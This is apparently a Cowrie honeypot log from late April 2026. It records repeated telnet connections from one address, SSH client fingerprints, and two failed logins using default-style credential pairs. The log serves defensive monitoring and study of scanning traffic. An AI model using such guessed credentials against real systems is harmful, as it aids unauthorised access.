{"eventid":"cowrie.session.closed","duration":32.0340690612793,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:13.381500Z","src_ip":"216.158.234.238","session":"1cb59a2d358d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.251983880996704,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:13.832716Z","src_ip":"216.158.234.238","session":"339763a62650","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.45973587036133,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:13.880376Z","src_ip":"216.158.234.238","session":"bfb7351522fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":32852,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd4e723c2541","protocol":"telnet","message":"New connection: 216.158.234.238:32852 (10.17.0.5:23) [session: bd4e723c2541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:13.945001Z"}
{"eventid":"cowrie.session.closed","duration":30.202890634536743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:14.055356Z","src_ip":"98.142.250.154","session":"ff8075aaed5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":33190,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e9996ade27c","protocol":"telnet","message":"New connection: 216.158.234.238:33190 (10.17.0.5:23) [session: 2e9996ade27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:14.401391Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":33268,"dst_ip":"10.17.0.5","dst_port":23,"session":"12165abd23ef","protocol":"telnet","message":"New connection: 216.158.234.238:33268 (10.17.0.5:23) [session: 12165abd23ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:14.499312Z"}
{"eventid":"cowrie.session.closed","duration":31.31525421142578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:14.652411Z","src_ip":"216.158.234.238","session":"d3da0def50aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34749460220337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:14.660074Z","src_ip":"216.158.234.238","session":"46c71cdbcac9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.76746153831482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:15.168466Z","src_ip":"216.158.234.238","session":"0a6e3cbbc7c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.58598732948303,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:15.742007Z","src_ip":"216.158.234.238","session":"254b0582f780","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.28124189376831,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:16.428851Z","src_ip":"216.158.234.238","session":"2ec67b5629a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":35432,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a8e85e7936c","protocol":"telnet","message":"New connection: 216.158.234.238:35432 (10.17.0.5:23) [session: 7a8e85e7936c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:16.444269Z"}
{"eventid":"cowrie.session.closed","duration":31.787291765213013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:16.452264Z","src_ip":"216.158.234.238","session":"5761a5e338ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942758560180664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:16.461372Z","src_ip":"216.158.234.238","session":"238d2106096f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4248468875885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:16.527308Z","src_ip":"216.158.234.238","session":"21e9a9fc6156","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.095205068588257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:16.854161Z","src_ip":"216.158.234.238","session":"00d9c9520859","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.718031883239746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:17.811686Z","src_ip":"216.158.234.238","session":"b7fd28b2d214","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.423588037490845,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:17.910517Z","src_ip":"216.158.234.238","session":"98410a8d1e3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":37748,"dst_ip":"10.17.0.5","dst_port":23,"session":"c51b0fe80249","protocol":"telnet","message":"New connection: 216.158.234.238:37748 (10.17.0.5:23) [session: c51b0fe80249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:18.083271Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":37802,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc20616566b6","protocol":"telnet","message":"New connection: 216.158.234.238:37802 (10.17.0.5:23) [session: dc20616566b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:18.142459Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":37830,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd1f7c0241ba","protocol":"telnet","message":"New connection: 216.158.234.238:37830 (10.17.0.5:23) [session: fd1f7c0241ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:18.153189Z"}
{"eventid":"cowrie.session.closed","duration":32.75057005882263,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:18.345022Z","src_ip":"216.158.234.238","session":"690a0ac668ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.266517877578735,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:18.373168Z","src_ip":"216.158.234.238","session":"1942e485531a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":38054,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b6179d76cf0","protocol":"telnet","message":"New connection: 216.158.234.238:38054 (10.17.0.5:23) [session: 2b6179d76cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:18.426178Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":38212,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b1db01dc7b6","protocol":"telnet","message":"New connection: 216.158.234.238:38212 (10.17.0.5:23) [session: 1b1db01dc7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:18.568994Z"}
{"eventid":"cowrie.session.closed","duration":31.945985317230225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:18.997840Z","src_ip":"216.158.234.238","session":"0370adef2ce8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.923272609710693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:19.326175Z","src_ip":"216.158.234.238","session":"6177ed01ec24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.46607184410095,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:19.625727Z","src_ip":"216.158.234.238","session":"fa739434aac0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.577444314956665,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:20.139998Z","src_ip":"216.158.234.238","session":"2e3f3ae2d82b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.618631601333618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:20.168916Z","src_ip":"216.158.234.238","session":"2154897b9ae5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":40678,"dst_ip":"10.17.0.5","dst_port":23,"session":"881be976f8fe","protocol":"telnet","message":"New connection: 216.158.234.238:40678 (10.17.0.5:23) [session: 881be976f8fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:20.548287Z"}
{"eventid":"cowrie.session.closed","duration":31.52495527267456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:21.450026Z","src_ip":"216.158.234.238","session":"d14638ac67ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.511375188827515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:21.465900Z","src_ip":"216.158.234.238","session":"15b5061e40ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.89037251472473,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:21.647196Z","src_ip":"216.158.234.238","session":"85202f22b5d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37392497062683,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:22.171313Z","src_ip":"216.158.234.238","session":"e3f47612dc4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.973119020462036,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:22.236455Z","src_ip":"216.158.234.238","session":"7934517b28e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.852691173553467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:23.486077Z","src_ip":"216.158.234.238","session":"a0d6ceeecdbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43559217453003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:23.513696Z","src_ip":"216.158.234.238","session":"a883aa56f5f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.53323578834534,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:23.720852Z","src_ip":"216.158.234.238","session":"3a9b7c95b8e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.617316007614136,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:25.783496Z","src_ip":"216.158.234.238","session":"f78e682e4e47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.64441680908203,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:25.845519Z","src_ip":"216.158.234.238","session":"bd31525f5361","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.41476655006409,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:25.850833Z","src_ip":"216.158.234.238","session":"b582d45e15d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.150410413742065,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:25.854817Z","src_ip":"216.158.234.238","session":"629272239b5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":47682,"dst_ip":"10.17.0.5","dst_port":23,"session":"56bdf8f0fed2","protocol":"telnet","message":"New connection: 216.158.234.238:47682 (10.17.0.5:23) [session: 56bdf8f0fed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:25.920917Z"}
{"eventid":"cowrie.session.closed","duration":30.794149160385132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:26.047383Z","src_ip":"98.142.250.154","session":"ad2696f250b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":37366,"dst_ip":"10.17.0.5","dst_port":22,"session":"485c5b3af183","protocol":"ssh","message":"New connection: 152.32.163.183:37366 (10.17.0.5:22) [session: 485c5b3af183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:26.089834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:26.094489Z","src_ip":"152.32.163.183","session":"485c5b3af183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.878042221069336,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:26.179640Z","src_ip":"216.158.234.238","session":"8c19bdcffd76","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:26.351652Z","src_ip":"152.32.163.183","session":"485c5b3af183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"db2admin","password":"db2admin","message":"login attempt [db2admin/db2admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:27.410345Z","src_ip":"152.32.163.183","session":"485c5b3af183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.533780097961426,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:28.759530Z","src_ip":"216.158.234.238","session":"87cccf017bbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.84703063964844,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:29.117335Z","src_ip":"216.158.234.238","session":"3dcd335b2572","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.50409197807312,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:29.561095Z","src_ip":"216.158.234.238","session":"9de2f2285c4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.08797001838684,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:29.612953Z","src_ip":"216.158.234.238","session":"133bc042fad7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":51706,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b3213fd2fcb","protocol":"telnet","message":"New connection: 216.158.234.238:51706 (10.17.0.5:23) [session: 7b3213fd2fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:29.657827Z"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:29.799882Z","src_ip":"152.32.163.183","session":"485c5b3af183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":52266,"dst_ip":"10.17.0.5","dst_port":23,"session":"e20b4fe775d9","protocol":"telnet","message":"New connection: 216.158.234.238:52266 (10.17.0.5:23) [session: e20b4fe775d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:30.294129Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":52292,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fcc36987edc","protocol":"telnet","message":"New connection: 216.158.234.238:52292 (10.17.0.5:23) [session: 6fcc36987edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:30.346350Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":52352,"dst_ip":"10.17.0.5","dst_port":23,"session":"b38a32b084e0","protocol":"telnet","message":"New connection: 216.158.234.238:52352 (10.17.0.5:23) [session: b38a32b084e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:30.397149Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":52822,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9ec8f645762","protocol":"telnet","message":"New connection: 216.158.234.238:52822 (10.17.0.5:23) [session: c9ec8f645762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:30.678279Z"}
{"eventid":"cowrie.session.closed","duration":31.678068161010742,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:31.775629Z","src_ip":"216.158.234.238","session":"fd60535ffd55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.714237689971924,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:31.959486Z","src_ip":"216.158.234.238","session":"e35a317b3ad3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.289655447006226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:32.096415Z","src_ip":"216.158.234.238","session":"d28d2a86d50a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.364211797714233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:32.770506Z","src_ip":"216.158.234.238","session":"0cb5d58dd50c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41714,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7c5efca4ed7","protocol":"ssh","message":"New connection: 159.203.92.129:41714 (159.203.135.109:22) [session: d7c5efca4ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:34.142247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:34.146885Z","src_ip":"159.203.92.129","session":"d7c5efca4ed7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:34.151383Z","src_ip":"159.203.92.129","session":"d7c5efca4ed7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"rootrootroot","message":"login attempt [administrator/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:34.166492Z","src_ip":"159.203.92.129","session":"d7c5efca4ed7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":56746,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f77b8c8a560","protocol":"telnet","message":"New connection: 216.158.234.238:56746 (10.17.0.5:23) [session: 5f77b8c8a560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:34.261669Z"}
{"eventid":"cowrie.session.closed","duration":34.3044490814209,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:35.100971Z","src_ip":"216.158.234.238","session":"f58fad056767","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:35.173172Z","src_ip":"159.203.92.129","session":"d7c5efca4ed7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.8005428314209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:35.372349Z","src_ip":"216.158.234.238","session":"717ee8dc033a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":58402,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb6a42c43621","protocol":"telnet","message":"New connection: 216.158.234.238:58402 (10.17.0.5:23) [session: fb6a42c43621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:35.720130Z"}
